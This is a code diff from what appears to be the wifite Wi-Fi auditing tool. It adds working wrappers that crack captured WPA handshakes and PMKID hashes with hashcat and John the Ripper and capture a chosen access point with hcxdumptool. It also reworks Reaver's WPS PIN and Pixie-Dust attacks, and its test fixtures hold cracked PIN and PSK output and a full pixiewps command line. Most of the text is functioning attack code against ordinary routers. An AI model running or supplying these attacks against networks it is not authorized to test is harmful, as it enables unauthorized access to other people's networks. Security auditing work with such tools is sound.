'-f', Configuration.wordlist,
'-r', handshake.capfile,
'-s', handshake.essid
]
if show_command:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
process = Process(command)
stdout, stderr = process.get_output()
key = None
for line in stdout.split('\n'):
if 'The PSK is "' in line:
key = line.split('"', 1)[1][:-2]
break
return key

59
wifite/tools/dependency.py Normal file → Executable file
View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
class Dependency(object): class Dependency(object):
@@ -9,11 +9,58 @@ class Dependency(object):
for attr_name in cls.required_attr_names: for attr_name in cls.required_attr_names:
if not attr_name in cls.__dict__: if not attr_name in cls.__dict__:
raise NotImplementedError( raise NotImplementedError(
"Attribute '{}' has not been overriden in class '{}'" \ 'Attribute "{}" has not been overridden in class "{}"' \
.format(attr_name, cls.__name__) .format(attr_name, cls.__name__)
) )
@classmethod
def exists(cls):
from ..util.process import Process
return Process.exists(cls.dependency_name)
@classmethod
def run_dependency_check(cls):
from ..util.color import Color
from .airmon import Airmon
from .airodump import Airodump
from .aircrack import Aircrack
from .aireplay import Aireplay
from .ifconfig import Ifconfig
from .iwconfig import Iwconfig
from .bully import Bully
from .reaver import Reaver
from .wash import Wash
from .pyrit import Pyrit
from .tshark import Tshark
from .macchanger import Macchanger
from .hashcat import Hashcat, HcxDumpTool, HcxPcapTool
apps = [
# Aircrack
Aircrack, #Airodump, Airmon, Aireplay,
# wireless/net tools
Iwconfig, Ifconfig,
# WPS
Reaver, Bully,
# Cracking/handshakes
Pyrit, Tshark,
# Hashcat
Hashcat, HcxDumpTool, HcxPcapTool,
# Misc
Macchanger
]
missing_required = any([app.fails_dependency_check() for app in apps])
if missing_required:
Color.pl('{!} {O}At least 1 Required app is missing. Wifite needs Required apps to run{W}')
import sys
sys.exit(-1)
@classmethod @classmethod
def fails_dependency_check(cls): def fails_dependency_check(cls):
from ..util.color import Color from ..util.color import Color
@@ -23,11 +70,11 @@ class Dependency(object):
return False return False
if cls.dependency_required: if cls.dependency_required:
Color.pl('{!} {R}error: required app {O}%s{R} was not found' % cls.dependency_name) Color.p('{!} {O}Error: Required app {R}%s{O} was not found' % cls.dependency_name)
Color.pl(' {W}install @ {C}%s{W}' % cls.dependency_url) Color.pl('. {W}install @ {C}%s{W}' % cls.dependency_url)
return True return True
else: else:
Color.pl('{!} {O}warning: recommended app {R}%s{O} was not found' % cls.dependency_name) Color.p('{!} {O}Warning: Recommended app {R}%s{O} was not found' % cls.dependency_name)
Color.pl(' {W}install @ {C}%s{W}' % cls.dependency_url) Color.pl('. {W}install @ {C}%s{W}' % cls.dependency_url)
return False return False

217
wifite/tools/hashcat.py Executable file
View File

@@ -0,0 +1,217 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .dependency import Dependency
from ..config import Configuration
from ..util.process import Process
from ..util.color import Color
import os
class Hashcat(Dependency):
dependency_required = False
dependency_name = 'hashcat'
dependency_url = 'https://hashcat.net/hashcat/'
@staticmethod
def should_use_force():
command = ['hashcat', '-I']
stderr = Process(command).stderr()
return 'No devices found/left' in stderr
@staticmethod
def crack_handshake(handshake, show_command=False):
# Generate hccapx
hccapx_file = HcxPcapTool.generate_hccapx_file(
handshake, show_command=show_command)
key = None
# Crack hccapx
for additional_arg in ([], ['--show']):
command = [
'hashcat',
'--quiet',
'-m', '2500',
hccapx_file,
Configuration.wordlist
]
if Hashcat.should_use_force():
command.append('--force')
command.extend(additional_arg)
if show_command:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
process = Process(command)
stdout, stderr = process.get_output()
if ':' not in stdout:
continue
else:
key = stdout.split(':', 5)[-1].strip()
break
if os.path.exists(hccapx_file):
os.remove(hccapx_file)
return key
@staticmethod
def crack_pmkid(pmkid_file, verbose=False):
'''
Cracks a given pmkid_file using the PMKID/WPA2 attack (-m 16800)
Returns:
Key (str) if found; `None` if not found.
'''
# Run hashcat once normally, then with --show if it failed
# To catch cases where the password is already in the pot file.
for additional_arg in ([], ['--show']):
command = [
'hashcat',
'--quiet', # Only output the password if found.
'-m', '16800', # WPA-PMKID-PBKDF2
'-a', '0', # Wordlist attack-mode
pmkid_file,
Configuration.wordlist
]
if Hashcat.should_use_force():
command.append('--force')
command.extend(additional_arg)
if verbose and additional_arg == []:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
# TODO: Check status of hashcat (%); it's impossible with --quiet
hashcat_proc = Process(command)
hashcat_proc.wait()
stdout = hashcat_proc.stdout()
if ':' not in stdout:
# Failed
continue
else:
# Cracked
key = stdout.strip().split(':', 1)[1]
return key
class HcxDumpTool(Dependency):
dependency_required = False
dependency_name = 'hcxdumptool'
dependency_url = 'https://github.com/ZerBea/hcxdumptool'
def __init__(self, target, pcapng_file):
# Create filterlist
filterlist = Configuration.temp('pmkid.filterlist')
with open(filterlist, 'w') as filter_handle:
filter_handle.write(target.bssid.replace(':', ''))
if os.path.exists(pcapng_file):
os.remove(pcapng_file)
command = [
'hcxdumptool',
'-i', Configuration.interface,
'--filterlist', filterlist,
'--filtermode', '2',
'-c', str(target.channel),
'-o', pcapng_file
]
self.proc = Process(command)
def poll(self):
return self.proc.poll()
def interrupt(self):
self.proc.interrupt()
class HcxPcapTool(Dependency):
dependency_required = False
dependency_name = 'hcxpcaptool'
dependency_url = 'https://github.com/ZerBea/hcxtools'
def __init__(self, target):
self.target = target
self.bssid = self.target.bssid.lower().replace(':', '')
self.pmkid_file = Configuration.temp('pmkid-%s.16800' % self.bssid)
@staticmethod
def generate_hccapx_file(handshake, show_command=False):
hccapx_file = Configuration.temp('generated.hccapx')
if os.path.exists(hccapx_file):
os.remove(hccapx_file)
command = [
'hcxpcaptool',
'-o', hccapx_file,
handshake.capfile
]
if show_command:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
process = Process(command)
stdout, stderr = process.get_output()
if not os.path.exists(hccapx_file):
raise ValueError('Failed to generate .hccapx file, output: \n%s\n%s' % (
stdout, stderr))
return hccapx_file
@staticmethod
def generate_john_file(handshake, show_command=False):
john_file = Configuration.temp('generated.john')
if os.path.exists(john_file):
os.remove(john_file)
command = [
'hcxpcaptool',
'-j', john_file,
handshake.capfile
]
if show_command:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
process = Process(command)
stdout, stderr = process.get_output()
if not os.path.exists(john_file):
raise ValueError('Failed to generate .john file, output: \n%s\n%s' % (
stdout, stderr))
return john_file
def get_pmkid_hash(self, pcapng_file):
if os.path.exists(self.pmkid_file):
os.remove(self.pmkid_file)
command = [
'hcxpcaptool',
'-z', self.pmkid_file,
pcapng_file
]
hcxpcap_proc = Process(command)
hcxpcap_proc.wait()
if not os.path.exists(self.pmkid_file):
return None
with open(self.pmkid_file, 'r') as f:
output = f.read()
# Each line looks like:
# hash*bssid*station*essid
# Note: The dumptool will record *anything* it finds, ignoring the filterlist.
# Check that we got the right target (filter by BSSID)
matching_pmkid_hash = None
for line in output.split('\n'):
fields = line.split('*')
if len(fields) >= 3 and fields[1].lower() == self.bssid:
# Found it
matching_pmkid_hash = line
break
os.remove(self.pmkid_file)
return matching_pmkid_hash

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
import re import re

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency from .dependency import Dependency
@@ -8,11 +8,6 @@ class Iwconfig(Dependency):
dependency_name = 'iwconfig' dependency_name = 'iwconfig'
dependency_url = 'apt-get install wireless-tools' dependency_url = 'apt-get install wireless-tools'
@classmethod
def exists(cls):
from ..util.process import Process
return Process.exists('iwconfig')
@classmethod @classmethod
def mode(cls, iface, mode_name): def mode(cls, iface, mode_name):
@@ -29,6 +24,7 @@ class Iwconfig(Dependency):
from ..util.process import Process from ..util.process import Process
interfaces = set() interfaces = set()
iface = ''
(out, err) = Process.call('iwconfig') (out, err) = Process.call('iwconfig')
for line in out.split('\n'): for line in out.split('\n'):
@@ -37,11 +33,16 @@ class Iwconfig(Dependency):
if not line.startswith(' '): if not line.startswith(' '):
iface = line.split(' ')[0] iface = line.split(' ')[0]
if '\t' in iface: if '\t' in iface:
iface = iface.split('\t')[0] iface = iface.split('\t')[0].strip()
iface = iface.strip()
if len(iface) == 0:
continue
if mode is None: if mode is None:
interfaces.add(iface) interfaces.add(iface)
if mode is not None and 'Mode:{}'.format(mode) in line: if mode is not None and 'Mode:{}'.format(mode) in line and len(iface) > 0:
interfaces.add(iface) interfaces.add(iface)
return list(interfaces) return list(interfaces)

65
wifite/tools/john.py Normal file
View File

@@ -0,0 +1,65 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .dependency import Dependency
from ..config import Configuration
from ..util.color import Color
from ..util.process import Process
from ..tools.hashcat import HcxPcapTool
import os
class John(Dependency):
''' Wrapper for John program. '''
dependency_required = False
dependency_name = 'john'
dependency_url = 'http://www.openwall.com/john/'
@staticmethod
def crack_handshake(handshake, show_command=False):
john_file = HcxPcapTool.generate_john_file(handshake, show_command=show_command)
# Use `john --list=formats` to find if OpenCL or CUDA is supported.
formats_stdout = Process(['john', '--list=formats']).stdout()
if 'wpapsk-opencl' in formats_stdout:
john_format = 'wpapsk-opencl'
elif 'wpapsk-cuda' in formats_stdout:
john_format = 'wpapsk-cuda'
else:
john_format = 'wpapsk'
# Crack john file
command = [
'john',
'--format=%s' % john_format,
'--wordlist', Configuration.wordlist,
john_file
]
if show_command:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
process = Process(command)
process.wait()
# Run again with --show to consistently get the password
command = ['john', '--show', john_file]
if show_command:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
process = Process(command)
stdout, stderr = process.get_output()
# Parse password (regex doesn't work for some reason)
if '0 password hashes cracked' in stdout:
key = None
else:
for line in stdout.split('\n'):
if handshake.capfile in line:
key = line.split(':')[1]
break
if os.path.exists(john_file):
os.remove(john_file)
return key

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency from .dependency import Dependency

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency from .dependency import Dependency
@@ -14,9 +14,6 @@ class Pyrit(Dependency):
def __init__(self): def __init__(self):
pass pass
@staticmethod
def exists():
return Process.exists('pyrit')
@staticmethod @staticmethod
def bssid_essid_with_handshakes(capfile, bssid=None, essid=None): def bssid_essid_with_handshakes(capfile, bssid=None, essid=None):
@@ -56,7 +53,7 @@ class Pyrit(Dependency):
elif current_bssid is not None and current_essid is not None: elif current_bssid is not None and current_essid is not None:
# We hit an AP that we care about. # We hit an AP that we care about.
# Line does not contain AccessPoint, see if it's "good" # Line does not contain AccessPoint, see if it's 'good'
if ', good' in line: if ', good' in line:
bssid_essid_pairs.add( (current_bssid, current_essid) ) bssid_essid_pairs.add( (current_bssid, current_essid) )

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency from .dependency import Dependency
@@ -6,10 +6,10 @@ from .airodump import Airodump
from .bully import Bully # for PSK retrieval from .bully import Bully # for PSK retrieval
from ..model.attack import Attack from ..model.attack import Attack
from ..config import Configuration from ..config import Configuration
from ..model.wps_result import CrackResultWPS
from ..util.color import Color from ..util.color import Color
from ..util.process import Process from ..util.process import Process
from ..util.timer import Timer from ..util.timer import Timer
from ..model.wps_result import CrackResultWPS
import os, time, re import os, time, re
@@ -18,14 +18,19 @@ class Reaver(Attack, Dependency):
dependency_name = 'reaver' dependency_name = 'reaver'
dependency_url = 'https://github.com/t6x/reaver-wps-fork-t6x' dependency_url = 'https://github.com/t6x/reaver-wps-fork-t6x'
def __init__(self, target): def __init__(self, target, pixie_dust=True):
super(Reaver, self).__init__(target) super(Reaver, self).__init__(target)
self.start_time = None self.pixie_dust = pixie_dust
self.progress = '0.00%'
self.state = 'Initializing' self.state = 'Initializing'
self.locked = False self.locked = False
self.total_attempts = 0
self.total_timeouts = 0 self.total_timeouts = 0
self.total_wpsfails = 0 self.total_wpsfails = 0
self.last_pins = set()
self.last_line_number = 0
self.crack_result = None self.crack_result = None
@@ -40,14 +45,16 @@ class Reaver(Attack, Dependency):
'--interface', Configuration.interface, '--interface', Configuration.interface,
'--bssid', self.target.bssid, '--bssid', self.target.bssid,
'--channel', self.target.channel, '--channel', self.target.channel,
'--pixie-dust', '1', # pixie-dust attack '-vv'
'--session', '/dev/null', # Don't restart session
'-vv' # (very) verbose
] ]
if pixie_dust:
self.reaver_cmd.extend(['--pixie-dust', '1'])
self.reaver_proc = None self.reaver_proc = None
def is_pixiedust_supported(self): @staticmethod
def is_pixiedust_supported():
''' Checks if 'reaver' supports WPS Pixie-Dust attack ''' ''' Checks if 'reaver' supports WPS Pixie-Dust attack '''
output = Process(['reaver', '-h']).stderr() output = Process(['reaver', '-h']).stderr()
return '--pixie-dust' in output return '--pixie-dust' in output
@@ -81,13 +88,15 @@ class Reaver(Attack, Dependency):
output_file_prefix='pixie') as airodump: output_file_prefix='pixie') as airodump:
# Wait for target # Wait for target
self.pattack("Waiting for target to appear...") self.pattack('Waiting for target to appear...')
self.target = self.wait_for_target(airodump) self.target = self.wait_for_target(airodump)
# Start reaver # Start reaver
self.reaver_proc = Process(self.reaver_cmd, self.reaver_proc = Process(self.reaver_cmd,
stdout=self.output_write, stdout=self.output_write,
stderr=Process.devnull()) stderr=Process.devnull())
# Say "yes" if asked to restore session.
self.reaver_proc.stdin('y\n')
# Loop while reaver is running # Loop while reaver is running
while self.crack_result is None and self.reaver_proc.poll() is None: while self.crack_result is None and self.reaver_proc.poll() is None:
@@ -106,6 +115,10 @@ class Reaver(Attack, Dependency):
# Check if we cracked it # Check if we cracked it
self.crack_result = self.parse_crack_result(stdout) self.crack_result = self.parse_crack_result(stdout)
# Check if locked
if self.locked and not Configuration.wps_ignore_lock:
raise Exception('{O}Because access point is {R}Locked{W}')
time.sleep(0.5) time.sleep(0.5)
# Check if crack result is in output # Check if crack result is in output
@@ -121,17 +134,26 @@ class Reaver(Attack, Dependency):
def get_status(self): def get_status(self):
main_status = self.state if self.pixie_dust:
main_status = ''
else:
# Include percentage
main_status = '({G}%s{W}) ' % self.progress
# Current state (set in parse_* methods)
main_status += self.state
# Counters, timeouts, failures, locked.
meta_statuses = [] meta_statuses = []
if self.total_timeouts > 0: if self.total_timeouts > 0:
meta_statuses.append("{O}Timeouts:%d{W}" % self.total_timeouts) meta_statuses.append('{O}Timeouts:%d{W}' % self.total_timeouts)
if self.total_wpsfails > 0: if self.total_wpsfails > 0:
meta_statuses.append("{O}WPSFail:%d{W}" % self.total_wpsfails) meta_statuses.append('{O}Fails:%d{W}' % self.total_wpsfails)
if self.locked: if self.locked:
meta_statuses.append("{R}Locked{W}") meta_statuses.append('{R}Locked{W}')
if len(meta_statuses) > 0: if len(meta_statuses) > 0:
main_status += ' (%s)' % ', '.join(meta_statuses) main_status += ' (%s)' % ', '.join(meta_statuses)
@@ -157,9 +179,13 @@ class Reaver(Attack, Dependency):
# Try to derive PSK from PIN using Bully # Try to derive PSK from PIN using Bully
self.pattack('{W}Retrieving PSK using {C}bully{W}...') self.pattack('{W}Retrieving PSK using {C}bully{W}...')
psk = None
try:
psk = Bully.get_psk_from_pin(self.target, pin) psk = Bully.get_psk_from_pin(self.target, pin)
except KeyboardInterrupt:
pass
if psk is None: if psk is None:
Color.pl("") Color.pl('')
self.pattack('{R}Failed {O}to get PSK using bully', newline=True) self.pattack('{R}Failed {O}to get PSK using bully', newline=True)
else: else:
self.pattack('{G}Cracked WPS PSK: {C}%s' % psk, newline=True) self.pattack('{G}Cracked WPS PSK: {C}%s' % psk, newline=True)
@@ -177,7 +203,7 @@ class Reaver(Attack, Dependency):
raise Exception('Reaver says "WPS pin not found"') raise Exception('Reaver says "WPS pin not found"')
# Running-time failure # Running-time failure
if self.running_time() > Configuration.wps_pixie_timeout: if self.pixie_dust and self.running_time() > Configuration.wps_pixie_timeout:
raise Exception('Timeout after %d seconds' % Configuration.wps_pixie_timeout) raise Exception('Timeout after %d seconds' % Configuration.wps_pixie_timeout)
# WPSFail count # WPSFail count
@@ -194,49 +220,96 @@ class Reaver(Attack, Dependency):
def parse_state(self, stdout): def parse_state(self, stdout):
state = self.state state = self.state
# Check last line for current status
stdout_last_line = stdout.split('\n')[-1] stdout_last_line = stdout.split('\n')[-1]
# [+] Waiting for beacon from AA:BB:CC:DD:EE:FF
if 'Waiting for beacon from' in stdout_last_line: if 'Waiting for beacon from' in stdout_last_line:
state = 'Waiting for beacon' state = 'Waiting for beacon'
# [+] Associated with AA:BB:CC:DD:EE:FF (ESSID: NETGEAR07)
elif 'Associated with' in stdout_last_line: elif 'Associated with' in stdout_last_line:
state = 'Associated' state = 'Associated'
elif 'Starting Cracking Session.' in stdout_last_line: elif 'Starting Cracking Session.' in stdout_last_line:
state = 'Waiting to try PIN' state = 'Started Cracking'
# [+] Trying pin "01235678"
elif 'Trying pin' in stdout_last_line: elif 'Trying pin' in stdout_last_line:
state = 'Trying PIN' state = 'Trying PIN'
# [+] Sending EAPOL START request
elif 'Sending EAPOL START request' in stdout_last_line: elif 'Sending EAPOL START request' in stdout_last_line:
state = 'Sending EAPOL Start request' state = 'Sending EAPOL'
# [+] Sending identity response
elif 'Sending identity response' in stdout_last_line: elif 'Sending identity response' in stdout_last_line:
state = 'Sending identity response' state = 'Sending ID'
self.locked = False self.locked = False
elif 'Sending M2 message' in stdout_last_line: # [+] Sending M2 message
state = 'Sending M2 / Running pixiewps' elif 'Sending M' in stdout_last_line:
for num in ['2', '4', '6']:
if 'Sending M%s message' % num in stdout_last_line:
state = 'Sending M%s' % num
if num == '2' and self.pixie_dust:
state += ' / Running pixiewps'
self.locked = False self.locked = False
# [+] Received M1 message
elif 'Received M' in stdout_last_line:
for num in ['1', '3', '5', '7']:
if 'Received M%s message' % num in stdout_last_line:
state = 'Received M%s' % num
self.locked = False
# [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
elif 'Detected AP rate limiting,' in stdout_last_line: elif 'Detected AP rate limiting,' in stdout_last_line:
state = 'Rate-Limited by AP' state = 'Rate-Limited by AP'
self.locked = True self.locked = True
# Parse all lines since last check
stdout_diff = stdout[self.last_line_number:]
self.last_line_number = len(stdout)
# Detect percentage complete
# [+] 0.05% complete @ 2018-08-23 15:17:23 (42 seconds/pin)
percentages = re.findall(
r"([0-9.]+%) complete .* \(([0-9.]+) seconds/pin\)", stdout_diff)
if len(percentages) > 0:
self.progress = percentages[-1][0]
# Calculate number of PINs tried
# [+] Trying pin "01235678"
new_pins = set(re.findall(r'Trying pin "([0-9]+)"', stdout_diff))
if len(new_pins) > 0:
self.total_attempts += len(new_pins.difference(self.last_pins))
self.last_pins = new_pins
# TODO: Look for "Sending M6 message" which indicates first 4 digits are correct.
return state return state
def pattack(self, message, newline=False): def pattack(self, message, newline=False):
# Print message with attack information. # Print message with attack information.
if self.pixie_dust:
time_left = Configuration.wps_pixie_timeout - self.running_time() time_left = Configuration.wps_pixie_timeout - self.running_time()
time_msg = '{O}%s{W}' % Timer.secs_to_str(time_left)
attack_name = 'Pixie-Dust'
else:
time_left = self.running_time()
time_msg = '{C}%s{W}' % Timer.secs_to_str(time_left)
attack_name = 'PIN Attack'
if self.total_attempts > 0 and not self.pixie_dust:
time_msg += ' {D}PINs:{W}{C}%d{W}' % self.total_attempts
Color.clear_entire_line() Color.clear_entire_line()
Color.pattack("WPS", Color.pattack('WPS', self.target, attack_name,
self.target, '{W}[%s] %s' % (time_msg, message))
'Pixie-Dust',
'{W}[{C}%s{W}] %s' % (Timer.secs_to_str(time_left), message))
if newline: if newline:
Color.pl("") Color.pl('')
def running_time(self): def running_time(self):
@@ -249,26 +322,33 @@ class Reaver(Attack, Dependency):
pin = psk = ssid = None pin = psk = ssid = None
# Check for PIN. # Check for PIN.
''' [+] WPS pin: 11867722''' ''' [+] WPS pin: 11867722 '''
regex = re.search(r"WPS pin:\s*([0-9]*)", stdout, re.IGNORECASE) regex = re.search(r"WPS pin:\s*([0-9]+)", stdout, re.IGNORECASE)
if regex:
pin = regex.group(1)
if pin is None:
''' [+] WPS PIN: '11867722' '''
regex = re.search(r"WPS PIN:\s*'([0-9]+)'", stdout, re.IGNORECASE)
if regex: if regex:
pin = regex.group(1) pin = regex.group(1)
# Check for PSK. # Check for PSK.
# Note: Reaver 1.6.x does not appear to return PSK (?) # Note: Reaver 1.6.x does not appear to return PSK (?)
regex = re.search("WPA PSK: *'(.+)'", stdout) ''' [+] WPA PSK: 'password' '''
regex = re.search(r"WPA PSK:\s*'(.+)'", stdout)
if regex: if regex:
psk = regex.group(1) psk = regex.group(1)
# Check for SSID # Check for SSID
"""1.x [Reaver Test] [+] AP SSID: 'Test Router' """ '''1.x [Reaver Test] [+] AP SSID: 'Test Router' '''
regex = re.search(r"AP SSID:\s*'(.*)'", stdout) regex = re.search(r"AP SSID:\s*'(.*)'", stdout)
if regex: if regex:
ssid = regex.group(1) ssid = regex.group(1)
# Check (again) for SSID # Check (again) for SSID
if ssid is None: if ssid is None:
"""1.6.x [+] Associated with EC:1A:59:37:70:0E (ESSID: belkin.00e)""" '''1.6.x [+] Associated with EC:1A:59:37:70:0E (ESSID: belkin.00e)'''
regex = re.search(r"Associated with [0-9A-F:]+ \(ESSID: (.*)\)", stdout) regex = re.search(r"Associated with [0-9A-F:]+ \(ESSID: (.*)\)", stdout)
if regex: if regex:
ssid = regex.group(1) ssid = regex.group(1)
@@ -346,18 +426,33 @@ Cmd : reaver -i wlan0mon -b 08:86:3B:8C:FD:9C -c 11 -s y -vv -p 28097402
executing pixiewps -e d0141b15656e96b85fcead2e8e76330d2b1ac1576bb026e7a328c0e1baf8cf91664371174c08ee12ec92b0519c54879f21255be5a8770e1fa1880470ef423c90e34d7847a6fcb4924563d1af1db0c481ead9852c519bf1dd429c163951cf69181b132aea2a3684caf35bc54aca1b20c88bb3b7339ff7d56e09139d77f0ac58079097938251dbbe75e86715cc6b7c0ca945fa8dd8d661beb73b414032798dadee32b5dd61bf105f18d89217760b75c5d966a5a490472ceba9e3b4224f3d89fb2b -s 5a67001334e3e4cb236f4e134a4d3b48d625a648e991f978d9aca879469d5da5 -z c8a2ccc5fb6dc4f4d69b245091022dc7e998e42ec1d548d57c35a312ff63ef20 -a 60b59c0c587c6c44007f7081c3372489febbe810a97483f5cc5cd8463c3920de -n 04d48dc20ec785762ce1a21a50bc46c2 -r 7a191e22a7b519f40d3af21b93a21d4f837718b45063a8a69ac6d16c6e5203477c18036ca01e9e56d0322e70c2e1baa66518f1b46d01acc577d1dfa34efd2e9ee36e2b7e68819cddacceb596a8895243e33cb48c570458a539dcb523a4d4c4360e158c29b882f7f385821ea043705eb56538b45daa445157c84e60fc94ef48136eb4e9725b134902b96c90b1ae54cbd42b29b52611903fdae5aa88bfc320f173d2bbe31df4996ebdb51342c6b8bd4e82ae5aa80b2a09a8bf8faa9a8332dc9819 executing pixiewps -e d0141b15656e96b85fcead2e8e76330d2b1ac1576bb026e7a328c0e1baf8cf91664371174c08ee12ec92b0519c54879f21255be5a8770e1fa1880470ef423c90e34d7847a6fcb4924563d1af1db0c481ead9852c519bf1dd429c163951cf69181b132aea2a3684caf35bc54aca1b20c88bb3b7339ff7d56e09139d77f0ac58079097938251dbbe75e86715cc6b7c0ca945fa8dd8d661beb73b414032798dadee32b5dd61bf105f18d89217760b75c5d966a5a490472ceba9e3b4224f3d89fb2b -s 5a67001334e3e4cb236f4e134a4d3b48d625a648e991f978d9aca879469d5da5 -z c8a2ccc5fb6dc4f4d69b245091022dc7e998e42ec1d548d57c35a312ff63ef20 -a 60b59c0c587c6c44007f7081c3372489febbe810a97483f5cc5cd8463c3920de -n 04d48dc20ec785762ce1a21a50bc46c2 -r 7a191e22a7b519f40d3af21b93a21d4f837718b45063a8a69ac6d16c6e5203477c18036ca01e9e56d0322e70c2e1baa66518f1b46d01acc577d1dfa34efd2e9ee36e2b7e68819cddacceb596a8895243e33cb48c570458a539dcb523a4d4c4360e158c29b882f7f385821ea043705eb56538b45daa445157c84e60fc94ef48136eb4e9725b134902b96c90b1ae54cbd42b29b52611903fdae5aa88bfc320f173d2bbe31df4996ebdb51342c6b8bd4e82ae5aa80b2a09a8bf8faa9a8332dc9819
''' '''
pin_attack_stdout = '''
[+] Pin cracked in 16 seconds
[+] WPS PIN: '01030365'
[+] WPA PSK: 'password'
[+] AP SSID: 'AirLink89300'
'''
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(old_stdout) (pin, psk, ssid) = Reaver.get_pin_psk_ssid(old_stdout)
assert pin == '12345678', 'pin was "%s", should have been "12345678"' % pin assert pin == '12345678', 'pin was "%s", should have been "12345678"' % pin
assert psk == 'Test PSK', 'psk was "%s", should have been "Test PSK"' % psk assert psk == 'Test PSK', 'psk was "%s", should have been "Test PSK"' % psk
assert ssid == "Test Router", 'ssid was %s, should have been Test Router' % repr(ssid) assert ssid == 'Test Router', 'ssid was %s, should have been Test Router' % repr(ssid)
result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk) result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk)
result.dump() result.dump()
print('')
print("")
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(new_stdout) (pin, psk, ssid) = Reaver.get_pin_psk_ssid(new_stdout)
assert pin == '11867722', 'pin was "%s", should have been "11867722"' % pin assert pin == '11867722', 'pin was "%s", should have been "11867722"' % pin
assert psk == None, 'psk was "%s", should have been "None"' % psk assert psk is None, 'psk was "%s", should have been "None"' % psk
assert ssid == "belkin.00e", 'ssid was "%s", should have been "belkin.00e"' % repr(ssid) assert ssid == 'belkin.00e', 'ssid was "%s", should have been "belkin.00e"' % repr(ssid)
result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk) result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk)
result.dump() result.dump()
print('')
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(pin_attack_stdout)
assert pin == '01030365', 'pin was "%s", should have been "01030365"' % pin
assert psk == 'password', 'psk was "%s", should have been "password"' % psk
assert ssid == 'AirLink89300', 'ssid was "%s", should have been "AirLink89300"' % repr(ssid)
result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk)
result.dump()
print('')

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency from .dependency import Dependency
@@ -14,13 +14,10 @@ class Tshark(Dependency):
def __init__(self): def __init__(self):
pass pass
@staticmethod
def exists():
return Process.exists('tshark')
@staticmethod @staticmethod
def _extract_src_dst_index_total(line): def _extract_src_dst_index_total(line):
# Extract BSSIDs, handshake # (1-4) and handshake "total" (4) # Extract BSSIDs, handshake # (1-4) and handshake 'total' (4)
mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1] mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1]
match = re.search('(%s)\s*.*\s*(%s).*Message.*(\d).*of.*(\d)' % (mac_regex, mac_regex), line) match = re.search('(%s)\s*.*\s*(%s).*Message.*(\d).*of.*(\d)' % (mac_regex, mac_regex), line)
if match is None: if match is None:
@@ -29,6 +26,7 @@ class Tshark(Dependency):
(src, dst, index, total) = match.groups() (src, dst, index, total) = match.groups()
return src, dst, index, total return src, dst, index, total
@staticmethod @staticmethod
def _build_target_client_handshake_map(output, bssid=None): def _build_target_client_handshake_map(output, bssid=None):
# Map of target_ssid,client_ssid -> handshake #s # Map of target_ssid,client_ssid -> handshake #s
@@ -135,7 +133,7 @@ class Tshark(Dependency):
(src, dst, essid) = match.groups() (src, dst, essid) = match.groups()
if dst.lower() == "ff:ff:ff:ff:ff:ff": if dst.lower() == 'ff:ff:ff:ff:ff:ff':
continue # Skip broadcast packets continue # Skip broadcast packets
if bssid is not None: if bssid is not None:
@@ -159,9 +157,10 @@ class Tshark(Dependency):
capfile - .cap file from airodump containing packets capfile - .cap file from airodump containing packets
targets - list of Targets from scan, to be updated targets - list of Targets from scan, to be updated
''' '''
from ..config import Configuration
if not Tshark.exists(): if not Tshark.exists():
raise Exception('Cannot detect WPS networks: Tshark does not exist') raise ValueError('Cannot detect WPS networks: Tshark does not exist')
command = [ command = [
'tshark', 'tshark',
@@ -183,24 +182,32 @@ class Tshark(Dependency):
# Failure is acceptable # Failure is acceptable
return return
bssids = set() wps_bssids = set()
locked_bssids = set()
for line in lines.split('\n'): for line in lines.split('\n'):
if ',' not in line: if ',' not in line:
continue continue
bssid, locked = line.split(',') bssid, locked = line.split(',')
# Ignore if WPS is locked? # Ignore if WPS is locked?
if '1' not in locked: if '1' not in locked:
bssids.add(bssid.upper()) wps_bssids.add(bssid.upper())
else:
locked_bssids.add(bssid.upper())
for t in targets: for t in targets:
t.wps = t.bssid.upper() in bssids target_bssid = t.bssid.upper()
if target_bssid in wps_bssids:
t.wps = True
elif target_bssid in locked_bssids:
t.wps = None
else:
t.wps = False
if __name__ == '__main__': if __name__ == '__main__':
test_file = './tests/files/contains_wps_network.cap' test_file = './tests/files/contains_wps_network.cap'
